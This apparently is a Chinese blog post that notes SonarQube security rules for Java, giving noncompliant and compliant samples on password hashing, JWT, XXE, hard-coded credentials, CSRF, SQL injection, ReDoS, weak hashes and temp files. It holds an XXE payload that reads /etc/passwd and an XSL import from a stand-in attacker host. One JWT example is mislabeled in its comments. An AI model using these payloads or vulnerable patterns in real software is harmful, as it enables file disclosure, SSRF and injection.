sonar问题及方案记录

Passwords should not be stored in plain-text or with a fast hashing algorithm

不要用纯文本或者快速hash算法存储password ,应该使用安全的算法产生hash。原因

1、预防暴力破解攻击

2、预防撞库攻击

3、密码应该加salt来降低彩虹表攻击的风险。

这个规则会报告问题,当密码被纯文本存储或者使用容易被暴力破解攻击的hash算法存储密码,算法如md5或者sha家族算法,会很快的计算出hash值,因为可能存在暴力破解攻击。

 (it's easier to exhaust the entire space of all possible passwords) especially with hardware like GPU, FPGA or ASIC. Modern password hashing algorithms such as bcryptPBKDF2 or argon2 are recommended.

Noncompliant Code Example不合规方案

@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth, DataSource dataSource) throws Exception {
  auth.jdbcAuthentication()
    .dataSource(dataSource)
    .usersByUsernameQuery("SELECT * FROM users WHERE username = ?")
    .passwordEncoder(new StandardPasswordEncoder()); // Noncompliant

  // OR
  auth.jdbcAuthentication()
    .dataSource(dataSource)
    .usersByUsernameQuery("SELECT * FROM users WHERE username = ?"); // Noncompliant; default uses plain-text

  // OR
  auth.userDetailsService(...); // Noncompliant; default uses plain-text
  // OR
  auth.userDetailsService(...).passwordEncoder(new StandardPasswordEncoder()); // Noncompliant
}

Compliant Solution 合规方案

@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth, DataSource dataSource) throws Exception {
  auth.jdbcAuthentication()
    .dataSource(dataSource)
    .usersByUsernameQuery("Select * from users where username=?")
    .passwordEncoder(new BCryptPasswordEncoder());

  // or
  auth.userDetailsService(null).passwordEncoder(new BCryptPasswordEncoder());
}

See

java:S5659 JWT should be signed and verified with strong cipher algorithms

If a JSON Web Token (JWT) is not signed with a strong cipher algorithm (or not signed at all) an attacker can forge it and impersonate user identities.

  • Don't use none algorithm to sign or verify the validity of a token.
  • Don't use a token without verifying its signature before.

Noncompliant Code Example

Using jwtk/Java JWT library (to verify a signed token (containing a JWS) don't use the parse method as it doesn't throw an exception if an unsigned token is provided):

// Signing:
io.jsonwebtoken.Jwts.builder() // Noncompliant, token is not signed.
  .setSubject(USER_LOGIN)
  .compact();
// Verifying:
io.jsonwebtoken.Jwts.parser().setSigningKey(SECRET_KEY).parse(token).getBody(); // Noncompliant

Using auth0/Java JWT library:

// Signing:
com.auth0.jwt.JWT.create()
  .withSubject(SUBJECT)
  .sign(Algorithm.none()); // Noncompliant, use only strong cipher algorithms when signing this JWT.
// Verifying:
JWTVerifier nonCompliantVerifier = com.auth0.jwt.JWT.require(Algorithm.none()) // Noncompliant
  .withSubject(LOGIN)
  .build();

Compliant Solution

Using Java JWT library (to verify a signed token (containing a JWS) use the parseClaimsJws method that will throw an exception if an unsigned token is provided):

// Signing:
Jwts.builder() // Compliant
  .setSubject(USER_LOGIN)
  .signWith(SignatureAlgorithm.HS256, SECRET_KEY)
  .compact();
// Verifying:
Jwts.parser().setSigningKey(SECRET_KEY).parseClaimsJws(token).getBody(); // Compliant

Using auth0/Java JWT library. I

// Signing:
JWT.create()
  .withSubject(SUBJECT)
  .sign(Algorithm.HMAC256(SECRET_KEY)); // Noncompliant, use only strong cipher algorithms when signing this JWT.
// Verifying:
JWTVerifier nonCompliantVerifier = JWT.require(Algorithm.HMAC256(SECRET_KEY)) // Noncompliant
  .withSubject(LOGIN)
  .build();

See

java:S2755 XML parsers should not be vulnerable to XXE attacks

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

authentication 认证

'PASSWORD' detected in this expression, review this potentially hard-coded credential.密码不要硬编码存储

what's the risk

Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.

In the past, it has led to the following vulnerabilities:

Credentials should be stored outside of the code in a configuration file, a database, or a management service for secrets.

This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.

It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ...

are you at a risk

Ask Yourself Whether
  • Credentials allows access to a sensitive component like a database, a file storage, an API or a service.
  • Credentials are used in production environments.
  • Application re-distribution is required before updating the credentials.

There is a risk if you answered yes to any of those questions.

Sensitive Code Example
Connection conn = null;
try {
  conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" +
        "user=steve&password=blue"); // Sensitive
  String uname = "steve";
  String password = "blue";
  conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" +
        "user=" + uname + "&password=" + password); // Sensitive

  java.net.PasswordAuthentication pa = new java.net.PasswordAuthentication("userName", "1234".toCharArray());  // Sensitive

How can you fix

Recommended Secure Coding Practices
  • Store the credentials in a configuration file that is not pushed to the code repository.
  • Store the credentials in a database.
  • Use your cloud provider's service for managing secrets.
  • If the a password has been disclosed through the source code: change it.
Compliant Solution
Connection conn = null;
try {
  String uname = getEncryptedUser();
  String password = getEncryptedPass();
  conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" +
        "user=" + uname + "&password=" + password);
See

CSRF 

Make sure allowing safe and unsafe HTTP methods is safe here.

An HTTP method is safe when used to perform a read-only operation, such as retrieving information. In contrast, an unsafe HTTP method is used to change the state of an application, for instance to update a user's profile on a web application.

Common safe HTTP methods are GET, HEAD, or OPTIONS.

Common unsafe HTTP methods are POST, PUT and DELETE.

Allowing both safe and unsafe HTTP methods to perform a specific operation on a web application could impact its security, for example CSRF protections are most of the time only protecting operations performed by unsafe HTTP methods.

Ask Yourself Whether

  • HTTP methods are not defined at all for a route/controller of the application.
  • Safe HTTP methods are defined and used for a route/controller that can change the state of an application.

There is a risk if you answered yes to any of those questions.

Sensitive Code Example

@RequestMapping("/delete_user")  // Sensitive: by default all HTTP methods are allowed
public String delete1(String username) {
// state of the application will be changed here
}

@RequestMapping(path = "/delete_user", method = {RequestMethod.GET, RequestMethod.POST}) // Sensitive: both safe and unsafe methods are allowed
String delete2(@RequestParam("id") String id) {
// state of the application will be changed here
}

Recommended Secure Coding Practices

For all the routes/controllers of an application, the authorized HTTP methods should be explicitly defined and safe HTTP methods should only be used to perform read-only operations.

Compliant Solution

@RequestMapping("/delete_user", method = RequestMethod.POST)  // Compliant
public String delete1(String username) {
// state of the application will be changed here
}

@RequestMapping(path = "/delete_user", method = RequestMethod.POST) // Compliant
String delete2(@RequestParam("id") String id) {
// state of the application will be changed here
}

See

SQL injection

 Make sure using a dynamically formatted SQL query is safe here.

Formatted SQL queries can be difficult to maintain, debug and can increase the risk of SQL injection when concatenating untrusted values into the query. However, this rule doesn't detect SQL injections (unlike rule s3649), the goal is only to highlight complex/formatted queries.

Ask Yourself Whether

  • Some parts of the query come from untrusted values (like user inputs).
  • The query is repeated/duplicated in other parts of the code.
  • The application must support different types of relational databases.

There is a risk if you answered yes to any of those questions.

Sensitive Code Example

public User getUser(Connection con, String user) throws SQLException {

  Statement stmt1 = null;
  Statement stmt2 = null;
  PreparedStatement pstmt;
  try {
    stmt1 = con.createStatement();
    ResultSet rs1 = stmt1.executeQuery("GETDATE()"); // No issue; hardcoded query

    stmt2 = con.createStatement();
    ResultSet rs2 = stmt2.executeQuery("select FNAME, LNAME, SSN " +
                 "from USERS where UNAME=" + user);  // Sensitive

    pstmt = con.prepareStatement("select FNAME, LNAME, SSN " +
                 "from USERS where UNAME=" + user);  // Sensitive
    ResultSet rs3 = pstmt.executeQuery();

    //...
}

public User getUserHibernate(org.hibernate.Session session, String data) {

  org.hibernate.Query query = session.createQuery(
            "FROM students where fname = " + data);  // Sensitive
  // ...
}

Recommended Secure Coding Practices

Compliant Solution

public User getUser(Connection con, String user) throws SQLException {

  Statement stmt1 = null;
  PreparedStatement pstmt = null;
  String query = "select FNAME, LNAME, SSN " +
                 "from USERS where UNAME=?"
  try {
    stmt1 = con.createStatement();
    ResultSet rs1 = stmt1.executeQuery("GETDATE()");

    pstmt = con.prepareStatement(query);
    pstmt.setString(1, user);  // Good; PreparedStatements escape their inputs.
    ResultSet rs2 = pstmt.executeQuery();

    //...
  }
}

public User getUserHibernate(org.hibernate.Session session, String data) {

  org.hibernate.Query query =  session.createQuery("FROM students where fname = ?");
  query = query.setParameter(0,data);  // Good; Parameter binding escapes all input

  org.hibernate.Query query2 =  session.createQuery("FROM students where fname = " + data); // Sensitive
  // ...

See

Denial of Service (DOS)

 Make sure the regex used here, which is vulnerable to polynomial runtime due to backtracking, cannot lead to denial of service.

检查正则表达式,是否会造成DOS攻击。

Most of the regular expression engines use backtracking to try all possible execution paths of the regular expression when evaluating an input, in some cases it can cause performance issues, called catastrophic backtracking situations. In the worst case, the complexity of the regular expression is exponential in the size of the input, this means that a small carefully-crafted input (like 20 chars) can trigger catastrophic backtracking and cause a denial of service of the application. Super-linear regex complexity can lead to the same impact too with, in this case, a large carefully-crafted input (thousands chars).

This rule determines the runtime complexity of a regular expression and informs you of the complexity if it is not linear.

Note that, due to improvements to the matching algorithm, some cases of exponential runtime complexity have become impossible when run using JDK 9 or later. In such cases, an issue will only be reported if the project's target Java version is 8 or earlier.

Ask Yourself Whether

  • The input is user-controlled.
  • The input size is not restricted to a small number of characters.
  • There is no timeout in place to limit the regex evaluation time.

There is a risk if you answered yes to any of those questions.

Sensitive Code Example

The first regex evaluation will never end in JDK <= 9 and the second regex evaluation will never end in any versions of the JDK:

java.util.regex.Pattern.compile("(a+)+").matcher(
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
"aaaaaaaaaaaaaaa!").matches(); // Sensitive

java.util.regex.Pattern.compile("(h|h|ih(((i|a|c|c|a|i|i|j|b|a|i|b|a|a|j))+h)ahbfhba|c|i)*").matcher(
"hchcchicihcchciiicichhcichcihcchiihichiciiiihhcchi"+
"cchhcihchcihiihciichhccciccichcichiihcchcihhicchcciicchcccihiiihhihihihi"+
"chicihhcciccchihhhcchichchciihiicihciihcccciciccicciiiiiiiiicihhhiiiihchccch"+
"chhhhiiihchihcccchhhiiiiiiiicicichicihcciciihichhhhchihciiihhiccccccciciihh"+
"ichiccchhicchicihihccichicciihcichccihhiciccccccccichhhhihihhcchchihih"+
"iihhihihihicichihiiiihhhhihhhchhichiicihhiiiiihchccccchichci").matches(); // Sensitive

weak Cryptography弱加密算法

 Make sure this weak hash algorithm is not used in a sensitive context here.

MD2、MD4、MD5、MD6、HAVAL-128、HMAC-MD5、DSA、SHA-1、RIPEMD、RIPEMD-128、RIPEMD-160、HMACRIPEMD160、SHA-1、collisions

这些加密算法不安全,不建议使用,因为可能由于不同的输入产生same hash

问问自己是否

哈希值用于安全上下文,例如:

  • 用户密码存储。
  • 生成安全令牌(用于在网站上注册时确认电子邮件、重置密码等)。
  • 计算一些消息完整性。

如果您对这些问题中的任何一个回答是肯定的,则存在风险。

敏感代码示例

MessageDigest md1 = MessageDigest.getInstance("SHA");  // Sensitive:  SHA is not a standard name, for most security providers it's an alias of SHA-1
MessageDigest md2 = MessageDigest.getInstance("SHA1");  // Sensitive

推荐的安全编码实践

建议使用更安全的替代方案,例如SHA-256 SHA-512 SHA-3,对于密码哈希,它甚至 最好使用计算速度不太“快”的算法,例如 bcrypt scrypt argon2 pbkdf2。

合规解决方案

MessageDigest md1 = MessageDigest.getInstance("SHA-512"); // Compliant

insecure configuration 不安全配置

Make sure this debug feature is deactivated before delivering the code in production.

确保debug功能在代码发布前被关闭

Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities:

An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users.

Ask Yourself Whether

  • the code or configuration enabling the application debug features is deployed on production servers.
  • the application runs by default with debug features activated.

There is a risk if you answered yes to any of those questions.

Sensitive Code Example

Throwable.printStackTrace(...) prints a Throwable and its stack trace to System.Err (by default) which is not easily parseable and can expose sensitive information:

try {
  /* ... */
} catch(Exception e) {
  e.printStackTrace();        // Sensitive
}

EnableWebSecurity annotation for SpringFramework with debug to true enable debugging support:

import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;

@Configuration
@EnableWebSecurity(debug = true) // Sensitive
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
  // ...
}

Recommended Secure Coding Practices

Do not enable debug features on production servers.

Compliant Solution

Loggers should be used (instead of printStackTrace) to print throwables:

try {
  /* ... */
} catch(Exception e) {
  LOGGER.log("context", e); // Compliant
}

EnableWebSecurity annotation for SpringFramework with debug to false disable debugging support:

import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;

@Configuration
@EnableWebSecurity(debug = false) // Compliant
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
  // ...
}

See

Make sure publicly writable directories are used safely here. 

操作系统有全局目录,任何用户都可以访问。这些目录通常被用作临时存储如linux系统的/tmp目录。从这些文件夹中操作文件的应用程序会面临文件名的竞争条件:恶意用户可以在应用程序之前尝试创建一个具有可预测名称的文件。成功的攻击可能导致其他文件被访问、修改、损坏或删除。如果应用程序以提升的权限运行,则这种风险更高。

In the past, it has led to the following vulnerabilities:

This rule raises an issue whenever it detects a hard-coded path to a publicly writable directory like /tmp (see examples bellow). It also detects access to environment variables that point to publicly writable directories, e.g., TMP and TMPDIR.

  • /tmp
  • /var/tmp
  • /usr/tmp
  • /dev/shm
  • /dev/mqueue
  • /run/lock
  • /var/run/lock
  • /Library/Caches
  • /Users/Shared
  • /private/tmp
  • /private/var/tmp
  • \Windows\Temp
  • \Temp
  • \TMP

Ask Yourself Whether

  • Files are read from or written into a publicly writable folder
  • The application creates files with predictable names into a publicly writable folder

There is a risk if you answered yes to any of those questions.

Sensitive Code Example

new File("/tmp/myfile.txt"); // Sensitive
Paths.get("/tmp/myfile.txt"); // Sensitive

java.io.File.createTempFile("prefix", "suffix"); // Sensitive, will be in the default temporary-file directory.
java.nio.file.Files.createTempDirectory("prefix"); // Sensitive, will be in the default temporary-file directory.
Map<String, String> env = System.getenv();
env.get("TMP"); // Sensitive

Recommended Secure Coding Practices

  • Use a dedicated sub-folder with tightly controlled permissions
  • Use secure-by-design APIs to create temporary files. Such API will make sure:
    • The generated filename is unpredictable
    • The file is readable and writable only by the creating user ID
    • The file descriptor is not inherited by child processes
    • The file will be destroyed as soon as it is closed

Compliant Solution

不要将文件创建到默认的目录,而是要指定创建目录。

new File("/myDirectory/myfile.txt");

File.createTempFile("prefix", "suffix", new File("/mySecureDirectory"));

FileAttribute<Set<PosixFilePermission>> attr = PosixFilePermissions.asFileAttribute(PosixFilePermissions.fromString("w+"));
Files.createTempFile("prefix", "suffix", attr); // Compliant, created with explicit attributes.

See

Make sure that expanding this archive file is safe here. 

Successful Zip Bomb attacks occur when an application expands untrusted archive files without controlling the size of the expanded data, which can lead to denial of service. A Zip bomb is usually a malicious archive file of a few kilobytes of compressed data but turned into gigabytes of uncompressed data. To achieve this extreme compression ratio, attackers will compress irrelevant data (eg: a long string of repeated bytes).

Ask Yourself Whether

Archives to expand are untrusted and:

  • There is no validation of the number of entries in the archive.
  • There is no validation of the total size of the uncompressed data.
  • There is no validation of the ratio between the compressed and uncompressed archive entry.

There is a risk if you answered yes to any of those questions.

Sensitive Code Example

File f = new File("ZipBomb.zip");
ZipFile zipFile = new ZipFile(f);
Enumeration<? extends ZipEntry> entries = zipFile.entries(); // Sensitive

while(entries.hasMoreElements()) {
  ZipEntry ze = entries.nextElement();
  File out = new File("./output_onlyfortesting.txt");
  Files.copy(zipFile.getInputStream(ze), out.toPath(), StandardCopyOption.REPLACE_EXISTING);
}

Recommended Secure Coding Practices

  • Define and control the ratio between compressed and uncompressed data, in general the data compression ratio for most of the legit archives is 1 to 3.
  • Define and control the threshold for maximum total size of the uncompressed data.
  • Count the number of file entries extracted from the archive and abort the extraction if their number is greater than a predefined threshold, in particular it's not recommended to recursively expand archives (an entry of an archive could be also an archive).
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值